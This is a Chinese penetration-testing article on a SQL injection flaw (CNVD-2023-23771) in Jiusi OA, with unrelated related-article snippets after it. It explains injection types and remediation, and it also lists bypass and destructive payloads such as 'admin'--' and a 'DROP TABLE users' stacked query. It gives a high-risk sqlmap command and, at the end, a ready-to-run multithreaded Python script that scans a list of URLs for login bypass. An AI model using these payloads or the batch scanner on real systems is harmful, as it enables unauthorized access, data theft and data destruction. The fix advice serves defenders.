#渗透测试#批量漏洞挖掘#九思OA系列漏洞之SQL注入漏洞(CNVD-2023-23771)

免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。

目录

一、漏洞概述

二、漏洞原理分析

三、漏洞复现(以登录接口为例)

四、修复与防护建议

五、漏洞延伸思考

六、总结


一、漏洞概述

漏洞类型:SQL注入
风险等级:高危
影响范围:思OA系统部分历史版本中,涉及动态参数拼接的模块(如登录接口、表单查询、数据导出等)。
漏洞成因:未对用户输入参数进行严格过滤或使用预编译语句,导致攻击者可构造恶意SQL语句,窃取数据库敏感信息、绕过身份认证或执行系统命令。


二、漏洞原理分析
  1. 注入触发点

    • 典型场景
      • URL参数(如id=1' AND 1=1--)、表单输入框(搜索字段)、Cookie参数等未过滤的用户输入。
      • 动态SQL拼接代码片段示例(伪代码):
        String query = "SELECT * FROM user WHERE id = " + request.getParameter("id"); 
        Statement stmt = connection.createStatement(); 
        ResultSet rs = stmt.executeQuery(query); 
    • 框架依赖:若系统使用ORM框架(如Hibernate)但未正确配置参数化查询,仍可能通过HQL注入漏洞触发。
  2. 攻击手法

    • 盲注(Boolean/Time-Based):通过页面响应差异或延时判断数据库信息(如id=1' AND SLEEP(5)--)。
    • 联合查询注入:提取数据库表名、字段名(如UNION SELECT username, password FROM admin)。
    • 堆叠查询:利用分号执行多语句攻击(如id=1'; DROP TABLE users--)。

三、漏洞复现(以登录接口为例)
  1. 步骤示例

    • 输入用户名:admin'--,密码任意填写。
    • 后端生成SQL:SELECT * FROM users WHERE username='admin'--' AND password='xxx'
    • 结果:注释符--使密码校验失效,直接以admin身份登录。
  2. 自动化验证工具

    • 使用sqlmap检测注入点:
      sqlmap -u "http://target.com/login?username=test&password=123"  --data="username=test&password=123" --risk=3 --level=5

四、修复与防护建议
  1. 代码层修复

    • 参数化查询:强制使用预编译语句(PreparedStatement),禁止字符串拼接。
      String query = "SELECT * FROM user WHERE id = ?";
      PreparedStatement stmt = connection.prepareStatement(query); 
      stmt.setInt(1,  Integer.parseInt(request.getParameter("id"))); 
    • 输入过滤:对数字类型参数强制类型转换,字符串类型使用正则表达式白名单过滤(如仅允许字母数字)。
  2. 架构层加固

    • 权限最小化:数据库账户仅授予必要权限(禁止DROPFILE等高危操作)。
    • WAF部署:通过正则规则拦截常见注入特征(如UNION SELECTSLEEP())。
  3. 持续监控

    • 启用数据库审计日志,监控异常SQL语句执行记录。
    • 定期使用工具(如OWASP ZAP、Burp Suite)进行渗透测试。

五、漏洞延伸思考
  1. OA系统共性风险

    • *思OA与其他OA系统(如泛微、致远)均存在历史版本因快速迭代导致的过滤疏漏。
    • 企业应建立补丁管理流程,及时跟进官方安全公告。
  2. 防御深度化

    • 采用ORM框架时,需结合静态代码扫描(如SonarQube)检查不安全代码模式。
    • 引入RASP(运行时应用自保护)技术,实时阻断注入攻击链。
 
六、漏洞POC
import requests 
import argparse 
import threading 
import time 
from concurrent.futures  import ThreadPoolExecutor 
from urllib.parse  import urljoin 
 
# 全局配置 
HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded"
}
TIMEOUT = 10  # 请求超时时间(秒)
THREADS = 10   # 并发线程数 
 
# 注入Payload列表(可根据需求扩展)
PAYLOADS = [
    {"username": "admin'--", "password": "test"},    # 注释符绕过 
    {"username": "' OR '1'='1", "password": "test"}, # 永真条件 
    {"username": "admin", "password": "' OR 1=1#"}, # 密码参数注入 
]
 
def test_sqli(target_url, success_file, fail_file):
    """
    测试单个目标URL是否存在SQL注入漏洞 
    """
    try:
        session = requests.Session()
        login_url = urljoin(target_url, "/login.php")   # 根据实际路径调整 
 
        for payload in PAYLOADS:
            try:
                # 发送POST请求 
                response = session.post( 
                    login_url,
                    data=payload,
                    headers=HEADERS,
                    timeout=TIMEOUT,
                    verify=False  # 忽略SSL证书验证(可选)
                )
                response.raise_for_status() 
 
                # 检测注入成功标志(根据实际系统调整规则)
                if response.status_code  == 302:  # 重定向到后台页面 
                    redirect_location = response.headers.get("Location",  "")
                    if "dashboard" in redirect_location:
                        print(f"[+] 漏洞存在: {target_url} (Payload: {payload})")
                        with open(success_file, "a") as f:
                            f.write(f"{target_url}  | Payload: {payload}\n")
                        return 
                elif "欢迎回来" in response.text:   # 页面关键词匹配 
                    print(f"[+] 漏洞存在: {target_url} (Payload: {payload})")
                    with open(success_file, "a") as f:
                        f.write(f"{target_url}  | Payload: {payload}\n")
                    return 
 
            except Exception as e:
                continue 
 
        # 所有Payload均未成功 
        print(f"[-] 未发现漏洞: {target_url}")
        with open(fail_file, "a") as f:
            f.write(f"{target_url}\n") 
 
    except requests.exceptions.RequestException  as e:
        print(f"[!] 连接失败: {target_url} | 错误: {str(e)}")
    except Exception as e:
        print(f"[!] 未知错误: {target_url} | 错误: {str(e)}")
 
def main():
    # 参数解析 
    parser = argparse.ArgumentParser(description="OA SQL注入批量检测脚本")
    parser.add_argument("-f",  "--file", required=True, help="目标URL列表文件")
    parser.add_argument("-o",  "--output", default="results", help="结果保存目录")
    args = parser.parse_args() 
 
    # 初始化结果文件 
    success_file = f"{args.output}/success.txt" 
    fail_file = f"{args.output}/fail.txt" 
    with open(success_file, "w") as f1, open(fail_file, "w") as f2:
        f1.write(" 存在漏洞的URL列表:\n")
        f2.write(" 未发现漏洞的URL列表:\n")
 
    # 读取目标URL 
    with open(args.file,  "r") as f:
        targets = [line.strip() for line in f if line.strip()] 
 
    # 启动多线程检测 
    with ThreadPoolExecutor(max_workers=THREADS) as executor:
        for target in targets:
            executor.submit(test_sqli,  target, success_file, fail_file)
 
if __name__ == "__main__":
    main()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/975962.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

macOS14 安装MySQL指南

1.下载 地址:https://downloads.mysql.com/archives/community/ 2.安装 双击 *.dmg 文件,按提示点击“下一步”,途中会弹出一个对话框,要求输入 root 密码,完成即可。 3.开启MySQL服务。 点击右上角苹果按钮&#x…

《Head First设计模式》读书笔记 —— 单件模式

文章目录 为什么需要单件模式单件模式典型实现剖析定义单件模式本节用例多线程带来的问题解决问题优化 Q&A总结 《Head First设计模式》读书笔记 相关代码: Vks-Feng/HeadFirstDesignPatternNotes: Head First设计模式读书笔记及相关代码 用来创建独一无二的&a…

Git常见命令--助力开发

git常见命令: 创建初始化仓库: git 将文件提交到暂存区 git add 文件名 将文件提交到工作区 git commit -m "注释(例如这是发行的版本1)" 文件名 查看状态 如果暂存区没有文件被提交显示: $ git status On…

【每日八股】Redis篇(二):数据结构

Redis 数据类型? 主要有 STRING、LIST、ZSET、SET 和 HASH。 STRING String 类型底层的数据结构实现主要是 SDS(简单动态字符串),其主要应用场景包括: 缓存对象:可以用 STRING 缓存整个对象的 JSON&…

LLM大语言模型私有化部署-使用Dify的工作流编排打造专属AI诗词数据分析师

背景 前面的文章通过 Ollama 私有化部署了 Qwen2.5 (7B) 模型,然后使用 Docker Compose 一键部署了 Dify 社区版平台。 LLM大语言模型私有化部署-使用Dify与Qwen2.5打造专属知识库:在 Dify 平台上,通过普通编排的方式,创建了基于…

Linux虚拟机快照

快照管理 如果在使用虚拟机系统的时候(比如linux),想回到原先的某一个状态,也就是说担心可能有些误操作造成系统异常,需要回到原先某个正常运行的状态 示例: 状态A和状态B处各保存了快照,运行到状态C时发生异常&…

【异常错误】pycharm debug view变量的时候显示不全,中间会以...显示

异常问题: 这个是在新版的pycharm中出现的,出现的问题,点击view后不全部显示,而是以...折叠显示 在setting中这么设置一下就好了: 解决办法: https://youtrack.jetbrains.com/issue/PY-75568/Large-stri…

快速入门Springboot+vue——MybatisPlus多表查询及分页查询

学习自哔哩哔哩上的“刘老师教编程”,具体学习的网站为:7.MybatisPlus多表查询及分页查询_哔哩哔哩_bilibili,以下是看课后做的笔记,仅供参考。 多表查询 多表查询[Mybatis中的]:实现复杂关系映射,可以使…

vscode 配置 Copilot 提示GHE.com连接失败

步骤一:打开设置并进入 settings.json 点击菜单栏中的 “文件” -> “首选项” -> “设置”。 在搜索设置栏中输入 “Copilot: Advanced”。 点击搜索结果下方的 “在 settings.json 中编辑” 链接,这会打开 settings.json 文件。 步骤二&#…

基于拼接的宏基因组全流程

下面是基于组装的宏基因组数据分析流程 目录 基本流程介绍 megahit组装 什么是N50? 基于拼接结果的基因预测 cdhit去冗余 功能注释 宏基因组的分箱操作 分箱的目的: 分箱的原理: 基本流程介绍 单独对每个样本进行基因集组装,得到genome1,2,3…

基于javaweb的SpringBoot酒店管理系统设计和实现(源码+文档+部署讲解)

技术范围:SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:免费功能设计、开题报告、任务书、中期检查PPT、系统功能实现、代码编写、论文编写和辅导、论…

Grok 3.0 Beta 版大语言模型评测

2025年2月17日至18日,全球首富埃隆马斯克(Elon Musk)携手其人工智能公司xAI,在美国重磅发布了Grok 3.0 Beta版。这款被誉为“迄今为止世界上最智能的语言模型”的AI,不仅集成了先进的“DeepSearch”搜索功能&#xff0…

【R语言】绘图

一、散点图 散点图也叫X-Y图,它将所有的数据以点的形式展现在坐标系上,用来显示变量之间的相互影响程度。 ggplot2包中用来绘制散点图的函数是geom_point(),但在绘制前需要先用ggplot()函数指定数据集和变量。 下面用mtcars数据集做演示&a…

php session数据存储位置选择

PHP session 数据的存储位置可以通过配置文件或者代码来进行设置。默认情况下,session 数据是存储在服务器的文件系统中的。你可以将 session 数据存储在其他地方,例如数据库、缓存等。 基础概念 PHP session默认情况下将数据存储在服务器端的临时文件中…

保姆级! 本地部署DeepSeek-R1大模型 安装Ollama Api 后,Postman本地调用 deepseek

要在Postman中访问Ollama API并调用DeepSeek模型,你需要遵循以下步骤。首先,确保你有一个有效的Ollama服务器实例运行中,并且DeepSeek模型已经被加载。 可以参考我的这篇博客 保姆级!使用Ollama本地部署DeepSeek-R1大模型 并java…

Windows桌面系统管理5:Windows 10操作系统注册表

Windows桌面系统管理0:总目录-CSDN博客 Windows桌面系统管理1:计算机硬件组成及组装-CSDN博客 Windows桌面系统管理2:VMware Workstation使用和管理-CSDN博客 Windows桌面系统管理3:Windows 10操作系统部署与使用-CSDN博客 Wi…

臻识相机,华夏相机,芊熠车牌识别相机加密解密

臻识,华夏,芊熠这三种车牌识别相机解密我都试过了,可以正常解密成功,其它品牌我暂时没有测试。超级简单,免费的,白嫖无敌! 流程: ①:先导出配置文件,例如我以…

RK Android11 WiFi模组 AIC8800 驱动移植流程

RK Android WiFi模组 AIC8800 驱动移植流程 作者:Witheart更新时间:20250220 概要:本文介绍了基于 AIC8800D40 芯片的 WiFi6 模组 BL-M8800DS2-40 在 RK3568 平台上的驱动移植流程。主要涉及环境搭建、驱动代码分析、设备树修改、驱动编译配…

Unity Shader Graph 2D - Procedural程序化图形循环加载进度效果

前言 在游戏中进度加载的效果是一种常见的效果,可以告诉玩家当前游戏处于一个资源加载的状态,这样玩家就能理解游戏不是卡住了或者是出现Bug了,而是正在进行一些数据的处理准备进入下一个场景。 创建一个LineLoading的Shader Graph文件,对应创建一个材质球,然后在…

蓝桥杯备考:贪心算法之矩阵消除游戏

这道题是牛客上的一道题,它呢和我们之前的排座位游戏非常之相似,但是,排座位问题选择行和列是不会改变元素的值的,这道题呢每每选一行都会把这行或者这列清零,所以我们的策略就是先用二进制把选择所有行的情况全部枚举…